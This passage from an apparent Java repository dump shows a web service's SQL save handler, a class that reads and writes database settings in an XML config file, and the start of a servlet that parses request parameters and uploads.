result,\n\t\t\tDataExecutor executor, SQLObject sqlobj,\n\t\t\tMap<String, Object> globalParams, Connection conn)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> map = null;\n\t\tMap<String, Object> ignoremap = new HashMap<String, Object>();\n\t\tMap<String, Object> ignoreCaseGlobalParams = new HashMap<String, Object>();\n\t\tList<SQLParam> params = null;\n\t\tIterator<Object> iter = list.iterator();\n\t\tIterator<SQLParam> iterparam = null;\n\t\tIterator<String> keyiter = null;\n\t\tString key = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tObject paramValue = null;\n\t\tif (globalParams != null) {\n\t\t\tIterator<String> strIter = globalParams.keySet().iterator();\n\t\t\twhile (strIter.hasNext()) {\n\t\t\t\tkey = strIter.next();\n\t\t\t\tignoreCaseGlobalParams.put(key.toLowerCase(),\n\t\t\t\t\t\tglobalParams.get(key));\n\t\t\t}\n\t\t}\n\t\tList<Map<String, Object>> updated = new ArrayList<Map<String, Object>>();\n\t\twhile (iter.hasNext()) {\n\t\t\tignoremap.clear();\n\t\t\tmap = (Map<String, Object>) iter.next();\n\t\t\tkeyiter = map.keySet().iterator();\n\t\t\twhile (keyiter.hasNext()) {\n\t\t\t\tkey = keyiter.next();\n\t\t\t\tignoremap.put(key.toLowerCase(), map.get(key));\n\t\t\t}\n\t\t\tparams = new ArrayList<SQLParam>(sqlobj.getUpdateParams());\n\n\t\t\titerparam = params.iterator();\n\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\tparam = iterparam.next();\n\t\t\t\tparamName = param.getName().toLowerCase();\n\t\t\t\tif (ignoremap.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoremap.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t} else if (ignoreCaseGlobalParams.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoreCaseGlobalParams.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tMap<String, Object> returnparam = new HashMap<String, Object>(map);\n\t\t\ttry {\n\t\t\t\tMap<String, Object> eResult = executor.saveData(\n\t\t\t\t\t\tsqlobj.getUpdateSql(), params, conn);\n\t\t\t\titerparam = params.iterator();\n\t\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\t\tparam = iterparam.next();\n\t\t\t\t\tif (param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\tSQLParam.ParamType.out.name())\n\t\t\t\t\t\t\t|| param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\t\t\tSQLParam.ParamType.out.name())) {\n\n\t\t\t\t\t\treturnparam.put(param.getName(), param.getValue());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (eResult.size() > 0) {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowresult));\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowdesc));\n\t\t\t\t} else {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult, \"1\");\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc, \"\");\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\treturnparam.put(StringConsts.rowresult, \"0\");\n\t\t\t\treturnparam.put(StringConsts.rowdesc, e.getMessage());\n\t\t\t\tthrow new TechException(sqlobj.getSqlId()\n\t\t\t\t\t\t+ \" update Exception: \" + e.getMessage());\n\t\t\t} finally {\n\t\t\t\tif (returnparam != null) {\n\t\t\t\t\tupdated.add(returnparam);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSQLObjectManager.getInstance().loadSqlCache(sqlobj.getSqlId(),\n\t\t\t\tignoremap);\n\t\tresult.put(StringConsts.updates, updated);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void saveInserted(List<Object> list, Map<String, Object> result,\n\t\t\tDataExecutor executor, SQLObject sqlobj,\n\t\t\tMap<String, Object> globalParams, Connection conn)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> map = null;\n\t\tMap<String, Object> ignoremap = new HashMap<String, Object>();\n\t\tMap<String, Object> ignoreCaseGlobalParams = new HashMap<String, Object>();\n\t\tList<SQLParam> params = null;\n\t\tIterator<Object> iter = list.iterator();\n\t\tIterator<SQLParam> iterparam = null;\n\t\tIterator<String> keyiter = null;\n\t\tString key = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tObject paramValue = null;\n\n\t\tif (globalParams != null) {\n\t\t\tIterator<String> strIter = globalParams.keySet().iterator();\n\t\t\twhile (strIter.hasNext()) {\n\t\t\t\tkey = strIter.next();\n\t\t\t\tignoreCaseGlobalParams.put(key.toLowerCase(),\n\t\t\t\t\t\tglobalParams.get(key));\n\t\t\t}\n\t\t}\n\t\tList<Map<String, Object>> inserted = new ArrayList<Map<String, Object>>();\n\t\twhile (iter.hasNext()) {\n\t\t\tignoremap.clear();\n\t\t\tmap = (Map<String, Object>) iter.next();\n\t\t\tkeyiter = map.keySet().iterator();\n\t\t\twhile (keyiter.hasNext()) {\n\t\t\t\tkey = keyiter.next();\n\t\t\t\tignoremap.put(key.toLowerCase(), map.get(key));\n\t\t\t}\n\t\t\tparams = new ArrayList<SQLParam>(sqlobj.getInsertParams());\n\n\t\t\titerparam = params.iterator();\n\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\tparam = iterparam.next();\n\t\t\t\tparamName = param.getName().toLowerCase();\n\t\t\t\tif (ignoremap.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoremap.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t} else if (ignoreCaseGlobalParams.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoreCaseGlobalParams.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tMap<String, Object> returnparam = new HashMap<String, Object>(map);\n\t\t\ttry {\n\t\t\t\tMap<String, Object> eResult = executor.saveData(\n\t\t\t\t\t\tsqlobj.getInsertSql(), params, conn);\n\t\t\t\titerparam = params.iterator();\n\t\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\t\tparam = iterparam.next();\n\t\t\t\t\tif (param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\tSQLParam.ParamType.out.name())\n\t\t\t\t\t\t\t|| param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\t\t\tSQLParam.ParamType.out.name())) {\n\t\t\t\t\t\treturnparam.put(param.getName(), param.getValue());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (eResult.size() > 0) {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowresult));\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowdesc));\n\t\t\t\t} else {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult, \"1\");\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc, \"\");\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\treturnparam.put(StringConsts.rowresult, \"0\");\n\t\t\t\treturnparam.put(StringConsts.rowdesc, e.getMessage());\n\t\t\t\tthrow new TechException(sqlobj.getSqlId()\n\t\t\t\t\t\t+ \" Insert Exception: \" + e.getMessage());\n\t\t\t} finally {\n\t\t\t\tif (returnparam != null) {\n\t\t\t\t\tinserted.add(returnparam);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSQLObjectManager.getInstance().loadSqlCache(sqlobj.getSqlId(),\n\t\t\t\tignoremap);\n\t\tresult.put(StringConsts.inserts, inserted);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void saveData(Map<String, Object> inputs, Map<String, Object> results)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> paramobj = null;\n\t\tString sqlid = null;\n\t\tMap<String, Object> outdata = new HashMap<String, Object>();\n\t\ttry {\n\t\t\tsqlid = (String) inputs.get(StringConsts.sqlid);\n\t\t\tif ((sqlid == null) || (sqlid.equals(\"\"))) {\n\t\t\t\tthrow new TechException(\"sqlid 不能为空!\");\n\t\t\t}\n\t\t\tif ((inputs.get(StringConsts.params) != null)\n\t\t\t\t\t&& (!inputs.get(StringConsts.params).equals(\"\"))) {\n\t\t\t\tparamobj = (Map<String, Object>) inputs\n\t\t\t\t\t\t.get(StringConsts.params);\n\t\t\t}\n\t\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObjectById(\n\t\t\t\t\tsqlid);\n\t\t\tif (sqlobj == null) {\n\t\t\t\tthrow new TechException(\"id值为 [\" + sqlid\n\t\t\t\t\t\t+ \"]的SQLObject并不存在， 请检查!\");\n\t\t\t}\n\t\t\tif (paramobj == null) {\n\t\t\t\tthrow new TechException(\"id值为 [\" + sqlid + \"]的保存参数并不存在， 请检查!\");\n\t\t\t}\n\n\t\t\tList<Object> inserted = null;\n\t\t\tList<Object> updated = null;\n\t\t\tList<Object> deleted = null;\n\n\t\t\tObject jn = paramobj.get(StringConsts.inserts);\n\t\t\tif (jn instanceof Map<?, ?>) {\n\t\t\t\tinserted = new ArrayList<Object>();\n\t\t\t\tinserted.add(jn);\n\t\t\t} else if (jn instanceof List<?>) {\n\t\t\t\tinserted = (List<Object>) paramobj.get(StringConsts.inserts);\n\t\t\t}\n\n\t\t\tjn = paramobj.get(StringConsts.updates);\n\t\t\tif (jn instanceof Map<?, ?>) {\n\t\t\t\tupdated = new ArrayList<Object>();\n\t\t\t\tupdated.add(jn);\n\t\t\t} else if (jn instanceof List<?>) {\n\t\t\t\tupdated = (List<Object>) paramobj.get(StringConsts.updates);\n\t\t\t}\n\n\t\t\tjn = paramobj.get(StringConsts.deletes);\n\t\t\tif (jn instanceof JSONObject) {\n\t\t\t\tdeleted = new ArrayList<Object>();\n\t\t\t\tdeleted.add(jn);\n\t\t\t} else if (jn instanceof List<?>) {\n\t\t\t\tdeleted = (List<Object>) paramobj.get(StringConsts.deletes);\n\t\t\t}\n\n\t\t\tConnection conn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getConnection();\n\t\t\ttry {\n\t\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t\t.getNativeConnection(conn);\n\t\t\t\ttry {\n\n\t\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t\t.getExecutor(DataServer.getInstance()\n\t\t\t\t\t\t\t\t\t.getProperties().getDbtype());\n\n\t\t\t\t\tif ((inserted != null) && (inserted.size() > 0)) {\n\t\t\t\t\t\tthis.saveInserted(inserted, outdata, executor, sqlobj,\n\t\t\t\t\t\t\t\tinputs, nativeconn);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((updated != null) && (updated.size() > 0)) {\n\t\t\t\t\t\tthis.saveUpdated(updated, outdata, executor, sqlobj,\n\t\t\t\t\t\t\t\tinputs, nativeconn);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((deleted != null) && (deleted.size() > 0)) {\n\t\t\t\t\t\tthis.saveDeleted(deleted, outdata, executor, sqlobj,\n\t\t\t\t\t\t\t\tinputs, nativeconn);\n\t\t\t\t\t}\n\n\t\t\t\t\tresults.put(StringConsts.outdata, outdata);\n\t\t\t\t\tnativeconn.commit();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tnativeconn.rollback();\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tconn.close();\n\t\t\t\tconn = null;\n\t\t\t}\n\n\t\t\t// 同步缓存数据\n\t\t\tif (sqlobj.getIsSQLIDCache() || sqlobj.getIsKeyCache()) {\n\t\t\t\tCache<String, Object> sqlcache = CacheFactory.getCache(sqlobj\n\t\t\t\t\t\t.getSqlId());\n\t\t\t\tString keyfield = sqlobj.getKeyField();\n\t\t\t\tMap<String, Object> data = null;\n\t\t\t\tString keyValue = null;\n\t\t\t\tif ((keyfield != null) && (!keyfield.equals(\"\"))) {\n\n\t\t\t\t\tif ((inserted != null) && (inserted.size() > 0)) {\n\t\t\t\t\t\tIterator<Object> iter = inserted.iterator();\n\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\tdata = (Map<String, Object>) iter.next();\n\t\t\t\t\t\t\tif (data.get(keyfield) != null) {\n\t\t\t\t\t\t\t\tkeyValue = String.valueOf(data.get(keyfield));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((keyValue != null) && (!keyValue.equals(\"\"))) {\n\t\t\t\t\t\t\t\tsqlcache.put(keyValue,\n\t\t\t\t\t\t\t\t\t\tnew HashMap<String, Object>(data));\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t\t\t\t+ \"] 设置的主键字段不正确, 不能进行缓存, 请检查！\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((updated != null) && (updated.size() > 0)) {\n\t\t\t\t\t\tIterator<Object> iter = updated.iterator();\n\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\tdata = (Map<String, Object>) iter.next();\n\t\t\t\t\t\t\tif (data.get(keyfield) != null) {\n\t\t\t\t\t\t\t\tkeyValue = String.valueOf(data.get(keyfield));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((keyValue != null) && (!keyValue.equals(\"\"))) {\n\t\t\t\t\t\t\t\tsqlcache.put(keyValue,\n\t\t\t\t\t\t\t\t\t\tnew HashMap<String, Object>(data));\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t\t\t\t+ \"] 设置的主键字段不正确, 不能进行缓存, 请检查！\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((deleted != null) && (deleted.size() > 0)) {\n\t\t\t\t\t\tIterator<Object> iter = deleted.iterator();\n\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\tdata = (Map<String, Object>) iter.next();\n\t\t\t\t\t\t\tif (data.get(keyfield) != null) {\n\t\t\t\t\t\t\t\tkeyValue = String.valueOf(data.get(keyfield));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((keyValue != null) && (!keyValue.equals(\"\"))) {\n\t\t\t\t\t\t\t\tsqlcache.remove(keyValue);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t\t\t\t+ \"] 设置的主键字段不正确, 不能进行缓存, 请检查！\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t+ \"] 设置的主键字段不存在, 不能进行缓存, 请检查！\");\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tLog.error(e.getClass().getName() + \" \\n\" + e.getMessage());\n\t\t\tthrow new TechException(e.getClass().getName() + \" \\n\"\n\t\t\t\t\t+ e.getMessage());\n\t\t}\n\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> result, DataConverter dataConverter)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> input = this.readParamfromInputStream(in, inputs,\n\t\t\t\tdataConverter);\n\t\tsaveData(input, result);\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/servlet/ConfigProperties.java",
    "content": "﻿package com.techsoft.servlet;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\nimport com.techsoft.ConnectionPool.DatabaseType;\nimport com.techsoft.container.DataServer;\n\npublic class ConfigProperties {\n\tprivate static String configfile = \"conf/config.xml\";\n\tprivate File home;\n\tprivate Document doc = null;\n\tprivate Element root = null;\n\n\tpublic ConfigProperties(File webHome) {\n\t\thome = webHome;\n\t\tFile file = new File(home, configfile);\n\t\tSAXReader reader = new SAXReader();\n\t\ttry {\n\t\t\tdoc = reader.read(file);\n\t\t\troot = doc.getRootElement();\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void writeDocument() {\n\t\ttry {\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(home\n\t\t\t\t\t+ configfile));\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic String getDriver() {\n\t\treturn root.elementText(\"driver\");\n\t}\n\n\tpublic void setDriver(String driver) {\n\t\troot.element(\"driver\").setText(driver);\n\t\tthis.writeDocument();\n\t}\n\n\tpublic String getURL() {\n\t\treturn root.elementText(\"URL\");\n\t}\n\n\tpublic void setURL(String URL) {\n\t\troot.element(\"URL\").setText(URL);\n\t\tthis.writeDocument();\n\t}\n\n\tpublic String getUser() {\n\t\treturn root.elementText(\"User\");\n\t}\n\n\tpublic void setUser(String User) {\n\t\troot.element(\"User\").setText(User);\n\t\tthis.writeDocument();\n\t}\n\n\tpublic String getPassword() {\n\t\treturn root.elementText(\"Password\");\n\t}\n\n\tpublic void setPassword(String Password) {\n\t\troot.element(\"Password\").setText(Password);\n\t\tthis.writeDocument();\n\t}\n\n\tpublic String getMaxPool() {\n\t\treturn root.elementText(\"MaxPool\");\n\t}\n\n\tpublic void setMaxPool(String MaxPool) throws Exception {\n\t\tInteger maxpool = -1;\n\t\ttry {\n\t\t\tmaxpool = Integer.valueOf(MaxPool);\n\t\t} catch (Exception e) {\n\t\t\tthrow new Exception(\"设置的最大连接池参数不是一个有效的整数， 请检查!\");\n\t\t}\n\t\troot.element(\"MaxPool\").setText(MaxPool);\n\t\tthis.writeDocument();\n\n\t\tDataServer.getInstance().getPool().setMaxPool(maxpool);\n\t}\n\n\tpublic String getMinPool() {\n\t\treturn root.elementText(\"MinPool\");\n\t}\n\n\tpublic void setMinPool(String MinPool) throws Exception {\n\t\tInteger minpool = -1;\n\t\ttry {\n\t\t\tminpool = Integer.valueOf(MinPool);\n\t\t} catch (Exception e) {\n\t\t\tthrow new Exception(\"设置的最小连接池参数不是一个有效的整数， 请检查!\");\n\t\t}\n\t\troot.element(\"MinPool\").setText(MinPool);\n\t\tthis.writeDocument();\n\n\t\tDataServer.getInstance().getPool().setMinPool(minpool);\n\t}\n\n\tpublic String getDefaultPool() {\n\t\treturn root.elementText(\"DefaultPool\");\n\t}\n\n\tpublic void setDefaultPool(String DefaultPool) throws Exception {\n\t\tInteger defaultpool = -1;\n\t\ttry {\n\t\t\tdefaultpool = Integer.valueOf(DefaultPool);\n\t\t} catch (Exception e) {\n\t\t\tthrow new Exception(\"设置的初始连接池参数不是一个有效的整数， 请检查!\");\n\t\t}\n\t\troot.element(\"DefaultPool\").setText(DefaultPool);\n\t\tthis.writeDocument();\n\t\tDataServer.getInstance().getPool().setInitPool(defaultpool);\n\t}\n\n\tpublic String getisDebug() {\n\t\treturn root.elementText(\"isDebug\");\n\t}\n\n\tpublic void setisDebug(String isDebug) {\n\t\tBoolean bool = Boolean.valueOf(isDebug);\n\t\troot.element(\"isDebug\").setText(bool.toString());\n\t\tthis.writeDocument();\n\n\t\tDataServer.getInstance().setDebug(bool);\n\t\tDataServer.getInstance().getPluginsManager().setIsDebug(bool);\n\t}\n\n\tpublic DatabaseType getDbtype() {\n\t\treturn DatabaseType.valueOf(root.elementText(\"Dbtype\").toUpperCase());\n\t}\n\n\tpublic void setDBType(DatabaseType type) {\n\t\troot.element(\"Dbtype\").setText(type.name());\n\t\tthis.writeDocument();\n\t}\n\n\tpublic String getSessionURL() {\n\t\treturn root.elementText(\"sessionurl\");\n\t}\n\t\n\tpublic String getGOperUserId(){\n\t\treturn root.elementText(\"GUserId\");\n\t}\n\t\n\tpublic void setGOperUserId(String gUserId){\n\t\troot.element(\"GUserId\").setText(gUserId);\n\t\tthis.writeDocument();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/servlet/DataService.java",
    "content": "﻿package com.techsoft.servlet;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.net.URLDecoder;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.apache.commons.fileupload.FileUploadException;\nimport org.apache.commons.fileupload.disk.DiskFileItemFactory;\nimport org.apache.commons.fileupload.servlet.ServletFileUpload;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.techsoft.DataConverter;\nimport com.techsoft.ServletModule;\nimport com.techsoft.Session;\nimport com.techsoft.StringConsts;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.dataconverter.DataConverterFactory;\n\npublic class DataService extends HttpServlet {\n\tprivate static final Logger Log = LoggerFactory\n\t\t\t.getLogger(DataService.class);\n\tprivate static final long serialVersionUID = 6929000280719060477L;\n\n\tprivate void readParamsFromParameter(HttpServletRequest request,\n\t\t\tMap<String, Object> map) {\n\t\t// url后的参数\n\t\tString paramName = null;\n\t\tString[] paramValues = null;\n\t\tObject paramValue = null;\n\t\tJSONObject obj = null;\n\t\tIterator<String> iter = null;\n\t\tString key = null;\n\t\tEnumeration<String> paramNames = request.getParameterNames();\n\t\twhile (paramNames.hasMoreElements()) {\n\t\t\tparamName = paramNames.nextElement();\n\t\t\tparamValues = request.getParameterValues(paramName);\n\t\t\tif (paramValues.length >= 1) {\n\t\t\t\tparamValue = paramValues[0];\n\t\t\t}\n\n\t\t\tif (paramName.equalsIgnoreCase(StringConsts.allparams)) {\n\t\t\t\tobj = JSONObject.parseObject((String) paramValue);\n\t\t\t\titer = obj.keySet().iterator();\n\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\tkey = iter.next();\n\t\t\t\t\tmap.put(key.toLowerCase(), obj.get(key));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tmap.put(paramName.toLowerCase(), paramValue);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void readParamsFromAttribute(HttpServletRequest request,\n\t\t\tMap<String, Object> map) {\n\t\t// Sesionn上下文参数\n\t\tEnumeration<String> names = request.getAttributeNames();\n\t\tString name = null;\n\t\twhile (names.hasMoreElements()) {\n\t\t\tname = names.nextElement();\n\t\t\tif (name.equals(\"g_s\")) {\n\t\t\t\t// 表示数据格式的全局参数\n\t\t\t\tmap.put(\"s\", request.getAttribute(name));\n\t\t\t} else if (name.startsWith(\"g_\")) {\n\t\t\t\tmap.put(name, request.getAttribute(name));\n\t\t\t\trequest.removeAttribute(name);\n\t\t\t}\n\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprivate List<FileItem> readParamsFromInputStream(\n\t\t\tHttpServletRequest request, Map<String, Object> map)\n\t\t\tthrows IOException {\n\t\tList<FileItem> result = null;\n\t\tJSONObject obj = null;\n\t\tString key = null;\n\t\tIterator<String> iter = null;\n\t\tif (map.get(\"m\") == null) {\n\t\t\tDiskFileItemFactory factory = new DiskFileItemFactory();\n\t\t\tServletFileUpload upload = new ServletFileUpload(factory);\n\t\t\t// 使用开源库读取POST分段参数\n\t\t\tif (ServletFileUpload.isMultipartContent(request)) {\n\t\t\t\tupload.setHeaderEncoding(System\n\t\t\t\t\t\t.getProperty(StringConsts.jvmcharset));\n\t\t\t\ttry {\n\t\t\t\t\tList<FileItem> list = upload.parseRequest(request);\n\t\t\t\t\tfor (FileItem item : list) {\n\n\t\t\t\t\t\tString fieldName = item.getFieldName();\n\t\t\t\t\t\tif (StringConsts.allparams.equalsIgnoreCase(fieldName)) {\n\t\t\t\t\t\t\tobj = JSONObject.parseObject(item.getString());\n\t\t\t\t\t\t\titer = obj.keySet().iterator();\n\t\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\t\tkey = iter.next();\n\t\t\t\t\t\t\t\tmap.put(key, obj.get(key));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresult = list;\n\t\t\t\t} catch (FileUploadException e) {\n\t\t\t\t\tthrow new IOException(e.getMessage());\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\tif (map.get(\"m\") == null) {\n\t\t\tInputStream input = request.getInputStream();\n\t\t\ttry {\n\t\t\t\tBufferedReader tBufferedReader = new BufferedReader(\n\t\t\t\t\t\tnew InputStreamReader(input));\n\t\t\t\tStringBuffer tStringBuffer = new StringBuffer();\n\t\t\t\tString sTempOneLine = \"\";\n\t\t\t\ttry {\n\t\t\t\t\twhile ((sTempOneLine = tBufferedReader.readLine()) != null) {\n\t\t\t\t\t\ttStringBuffer.append(sTempOneLine);\n\t\t\t\t\t}\n\n\t\t\t\t\tString s = URLDecoder.decode(tStringBuffer.toString(),\n\t\t\t\t\t\t\tSystem.getProperty(StringConsts.jvmcharset));\n\t\t\t\t\tif (s.length() > 10) {\n\t\t\t\t\t\ts = s.substring(10);\n\t\t\t\t\t\tobj = JSONObject.parseObject(s);\n\t\t\t\t\t\titer = obj.keySet().iterator();\n\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\tkey = iter.next();\n\t\t\t\t\t\t\tmap.put(key, obj.get(key));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} finally {\n\t\t\t\t\ttBufferedReader.close();\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tinput.close();\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tprotected void doGet(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoPost(request, response);\n\t}\n\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tMap<String, Object> results = new HashMap<String, Object>();\n\t\tDataConverter dataConverter = null;\n\t\tOutputStream out = response.getOutputStream();\n\t\tInputStream input = request.getInputStream();\n\t\ttry {\n\t\t\ttry {\n\t\t\t\treadParamsFromAttribute(request, map);\n\t\t\t\treadParamsFromParameter(request, map);\n\t\t\t\tList<FileItem> list = readParamsFromInputStream(request, map);\n\n\t\t\t\tString m = String.valueOf(map.get(StringConsts.MethodName));\n\t\t\t\tString s = String.valueOf(map.get(StringConsts.Serization));\n\t\t\t\tif ((m == null) || (m.equalsIgnoreCase(\"\"))) {\n\t\t\t\t\tthrow new Exception(\"请求的方法名称为空，请客户端检查协议!\");\n\t\t\t\t}\n\t\t\t\tif ((s == null) || (s.equalsIgnoreCase(\"\"))) {\n\t\t\t\t\tthrow new Exception(\"请求的数据格式为空， 请客户端指定数据格式!\");\n\t\t\t\t} else {\n\t\t\t\t\tif (!DataConverterFactory.containDataFormat(s)) {\n\t\t\t\t\t\tthrow new Exception(\"客户端传入的数据格式 [\" + s + \"]，服务器还不支持！\");\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// 得到输出格式对象\n\t\t\t\tif (map.get(ServletModule.JSONP) != null) {\n\t\t\t\t\tdataConverter = DataConverterFactory\n\t\t\t\t\t\t\t.getSerialization(StringConsts.jsonp);\n\t\t\t\t\tdataConverter.setPrefix(String.valueOf(map\n\t\t\t\t\t\t\t.get(ServletModule.JSONP)));\n\t\t\t\t} else {\n\t\t\t\t\tdataConverter = DataConverterFactory\n\t\t\t\t\t\t\t.getSerialization((String) map\n\t\t\t\t\t\t\t\t\t.get(StringConsts.Serization));\n\t\t\t\t}\n\t\t\t\tLog.info(\"Servlet IP: \" + map.get(\"ip\"));\n\t\t\t\tmap.put(Session.sessionid, request.getSession().getId());\n\n\t\t\t\tm = String.valueOf(map.get(StringConsts.MethodName))\n\t\t\t\t\t\t.toLowerCase();\n\n\t\t\t\tObject obj = DataServer.getInstance().getCoreHandlers().get(m);\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tServletModule handler = (ServletModule) obj;\n\t\t\t\t\tif (list != null) {\n\t\t\t\t\t\thandler.process(map, true, null, out, list, results,\n\t\t\t\t\t\t\t\tdataConverter);\n\t\t\t\t\t} else {\n\t\t\t\t\t\thandler.process(map, false, input, out, null, results,\n\t\t\t\t\t\t\t\tdataConverter);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tobj = DataServer.getInstance().getPluginModuleByMethod(m);\n\t\t\t\t\tif (obj != null) {\n\t\t\t\t\t\tServletModule handler = (ServletModule) obj;\n\t\t\t\t\t\tif (list != null) 